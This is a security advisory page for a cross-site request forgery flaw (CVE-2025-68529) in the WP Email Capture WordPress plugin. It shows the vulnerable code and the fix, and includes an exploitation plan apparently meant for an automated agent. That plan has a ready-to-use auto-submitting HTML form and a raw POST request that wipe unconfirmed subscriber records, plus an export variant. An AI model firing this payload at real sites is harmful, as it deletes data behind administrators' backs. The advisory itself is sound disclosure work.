Email Capture <= 3.12.5 - Cross-Site Request Forgery
Description
The Email Marketing Plugin – WP Email Capture plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.12.5. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action granted they can trick a site administrator into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
<=3.12.5What Changed in the Fix
Changes introduced in v3.12.6
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-68529 (WP Email Capture CSRF) ## 1. Vulnerability Summary The **WP Email Capture** plugin (versions <= 3.12.5) contains a Cross-Site Request Forgery (CSRF) vulnerability in its dashboard management features. The plugin registers a dashboard widget that allows …
Show full research plan
Exploitation Research Plan: CVE-2025-68529 (WP Email Capture CSRF)
1. Vulnerability Summary
The WP Email Capture plugin (versions <= 3.12.5) contains a Cross-Site Request Forgery (CSRF) vulnerability in its dashboard management features. The plugin registers a dashboard widget that allows administrators to export the subscriber list and truncate (delete) unconfirmed email addresses. However, the forms responsible for these actions do not include WordPress nonces, and the processing function hooked to admin_init fails to verify the request source. An unauthenticated attacker can trick a logged-in administrator into visiting a malicious page that automatically submits these forms, leading to unauthorized data deletion or triggering an export.
2. Attack Vector Analysis
- Target Endpoint:
/wp-admin/index.php(Any admin page whereadmin_initfires). - Vulnerable Hook:
admin_initcallswp_email_capture_options_process. - Action/Parameters:
wp_email_capture_truncate: Triggers the deletion of unconfirmed email addresses from the temporary table.wp_email_capture_export: Triggers a CSV export of the subscriber list.
- Authentication Level: None (requires a logged-in Administrator victim).
- Preconditions: The victim must be an administrator with the
manage_optionscapability (or the capability defined in thewp_email_capture_dashboard_capabilityfilter).
3. Code Flow
- Entry Point: In
wp-email-capture.php, the plugin registers the processing function:add_action( 'admin_init', 'wp_email_capture_options_process' ); - Widget Display: In
inc/dashboard.php, the functionwp_email_capture_dashboard_widget()renders two forms. Note the total lack ofwp_nonce_field():// Form 1: Export echo '<form name="wp_email_capture_export" action="' . esc_url( $_SERVER['REQUEST_URI'] ) . '#list" method="post">'; echo '<input type="hidden" name="wp_email_capture_export" />'; // ... // Form 2: Truncate echo '<form name="wp_email_capture_truncate" action="' . esc_url( $_SERVER['REQUEST_URI'] ) . '#truncate" method="post">'; echo '<input type="hidden" name="wp_email_capture_truncate"/>'; - Processing (Inferred): When the administrator loads an admin page with a POST request containing
wp_email_capture_truncate,wp_email_capture_options_process(likely ininc/core.php) checks for the presence of this key in$_POST. - Sink: Since no
check_admin_referer()orwp_verify_nonce()is called within the processing logic, the plugin proceeds to call the deletion routine (e.g., executing aTRUNCATEorDELETEquery on theWP_EMAIL_CAPTURE_TEMP_MEMBERS_TABLE).
4. Nonce Acquisition Strategy
No nonce is required.
The vulnerability exists specifically because the plugin fails to implement nonce validation on the affected actions. The processing logic in wp_email_capture_options_process does not verify a _wpnonce parameter.
5. Exploitation Strategy
The goal is to perform a CSRF attack to delete unconfirmed email addresses from the database.
Step 1: Create the Exploit Payload
We will use a hidden HTML form that auto-submits to the WordPress dashboard.
<html>
<body>
<form id="csrf-form" action="http://TARGET_URL/wp-admin/index.php" method="POST">
<input type="hidden" name="wp_email_capture_truncate" value="" />
<input type="submit" value="Submit" />
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
Step 2: Trigger the Exploit
Use the http_request tool to simulate the administrator's browser submitting the request.
- URL:
http://localhost:8080/wp-admin/index.php - Method:
POST - Headers:
Content-Type:application/x-www-form-urlencoded
- Body:
wp_email_capture_truncate=
6. Test Data Setup
To verify the exploit, we must first populate the temporary members table:
- Identify the table name: Usually
wp_wp_email_capture_temp_members. - Insert dummy data via WP-CLI:
wp db query "INSERT INTO wp_wp_email_capture_temp_members (name, email, confirmstring) VALUES ('Target User', 'target@example.com', '123456');" - Verify data exists:
wp db query "SELECT COUNT(*) FROM wp_wp_email_capture_temp_members;"
7. Expected Results
- HTTP Response: The request should return a
302 Redirector a200 OK(Dashboard page). - Behavior: The plugin will process the
wp_email_capture_truncateparameter and delete the rows in the temporary members table. - UI Confirmation: If the victim were looking at the dashboard widget, the count of "Temporary e-mails" would drop to zero.
8. Verification Steps
After executing the HTTP request, verify the database state using WP-CLI:
# Check if the temporary table is empty
wp db query "SELECT COUNT(*) FROM wp_wp_email_capture_temp_members;"
# Expected Output: 0
9. Alternative Approaches
If the wp_email_capture_truncate action is too narrow, the wp_email_capture_export action can be used to force the server to generate a CSV export. While a standard CSRF cannot read the contents of the CSV due to the Same-Origin Policy (SOP), triggering large exports repeatedly can be used for minor resource exhaustion or as a component in a more complex attack chain.
To trigger the export:
- Body:
wp_email_capture_export=
Summary
The WP Email Capture plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 3.12.5. This occurs because administrative actions, specifically exporting the subscriber list and deleting unconfirmed email addresses, are processed via the `admin_init` hook without verifying a security nonce. An attacker can exploit this by tricking a logged-in administrator into visiting a malicious site that triggers these actions on the vulnerable WordPress installation.
Vulnerable Code
// wp-email-capture.php line 51 add_action( 'admin_init', 'wp_email_capture_options_process' ); --- // inc/dashboard.php line 11 echo '<br/><br/><a name="list"></a><strong>' . __( 'Export', 'wp-email-capture' ) . '</strong>'; echo '<form name="wp_email_capture_export" action="' . esc_url( $_SERVER['REQUEST_URI'] ) . '#list" method="post">'; echo '<label>' . __( 'Use the button below to export your list as a CSV to use in software such as', 'wp-email-capture' ) . ' <a href="https://www.wpemailcapture.com/recommends/aweber/" title="Email Marketing">Aweber</a>.</label>'; echo '<input type="hidden" name="wp_email_capture_export" />'; echo '<div class="submit"><input type="submit" value="' . __( 'Export List', 'wp-email-capture') . '" class="button" /></div>'; echo '</form><br/><br/>'; --- // inc/dashboard.php line 31 echo "<a name='truncate'></a><strong>" . __( 'Temporary e-mails', 'wp-email-capture' ) . "</strong>\n"; echo '<form name="wp_email_capture_truncate" action="' . esc_url( $_SERVER['REQUEST_URI'] ) . '#truncate" method="post">'; echo '<label>' . __( 'There are', 'wp-email-capture' ) . ' ' . $tempemails . ' ' . __( 'e-mail addresses that have been unconfirmed.' . $lastsignupdatesentance . ' Delete them to save space below.', 'wp-email-capture' ) . '</label>'; echo '<input type="hidden" name="wp_email_capture_truncate"/>'; echo '<div class="submit"><input type="submit" value="' . __( 'Delete Unconfirmed e-mail Addresses', 'wp-email-capture' ) . '" class="button" /></div>'; echo '</form>';
Security Fix
@@ -8,10 +8,13 @@ wp_email_capture_writetable( 3, '<strong>' . __( 'Last Three Members To Join', 'wp-email-capture' ) . '</strong><br/><br/>' ); + $nonce = wp_create_nonce( 'wp-email-capture-export-nonce' ); + echo '<br/><br/><a name="list"></a><strong>' . __( 'Export', 'wp-email-capture' ) . '</strong>'; echo '<form name="wp_email_capture_export" action="' . esc_url( $_SERVER['REQUEST_URI'] ) . '#list" method="post">'; echo '<label>' . __( 'Use the button below to export your list as a CSV to use in software such as', 'wp-email-capture' ) . ' <a href="https://www.wpemailcapture.com/recommends/aweber/" title="Email Marketing">Aweber</a>.</label>'; echo '<input type="hidden" name="wp_email_capture_export" />'; + echo '<input type="hidden" name="wp_email_capture_export_nonce" value="' . esc_attr( $nonce ) . '"/>'; echo '<div class="submit"><input type="submit" value="' . __( 'Export List', 'wp-email-capture') . '" class="button" /></div>'; echo '</form><br/><br/>'; @@ -562,11 +562,14 @@ wp_email_capture_writetable(); + $nonce = wp_create_nonce( 'wp-email-capture-export-nonce' ); + echo '<a name="list"></a><h3>' . __('Export', 'wp-email-capture') . '</h3> <form name="wp_email_capture_export" action="' . esc_url($_SERVER['REQUEST_URI']) . '#list" method="post"> <label>' . __('Use the button below to export your list as a CSV to use in software such as <a href="https://www.wpemailcapture.com/recommends/aweber" title="Email Marketing">Aweber</a> or <a href="https://www.wpemailcapture.com/recommends/constant-contact/">Constant Contact</a>', 'wp-email-capture') . '</label> <input type="hidden" name="wp_email_capture_export" /> + <input type="hidden" name="wp_email_capture_export_nonce" value="' . esc_attr( $nonce ) . '"/> <div class="submit"> <input type="submit" value="' . __('Export List', 'wp-email-capture') . '" class="button" /> </div> @@ -654,7 +657,13 @@ if (is_user_logged_in() ) { if ( current_user_can('administrator') ) { - wp_email_capture_export(); + + $verify = wp_verify_nonce( $_REQUEST['wp_email_capture_export_nonce'], 'wp-email-capture-export-nonce' ); + if ( $verify ) { + wp_email_capture_export(); + } else { + wp_die( "Unable to download, security check failed." ); + } } else { wp_die( "Admin's Only Please" ); }
Exploit Outline
The vulnerability allows an unauthenticated attacker to perform sensitive administrative actions by leveraging a logged-in administrator's session. The attacker crafts a malicious web page that automatically sends a POST request to the target site's dashboard (e.g., /wp-admin/index.php). The request contains either the 'wp_email_capture_truncate' or 'wp_email_capture_export' parameter. Because the plugin does not verify nonces in its 'admin_init' processing logic, the action is executed automatically if the victim is authenticated as an administrator.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.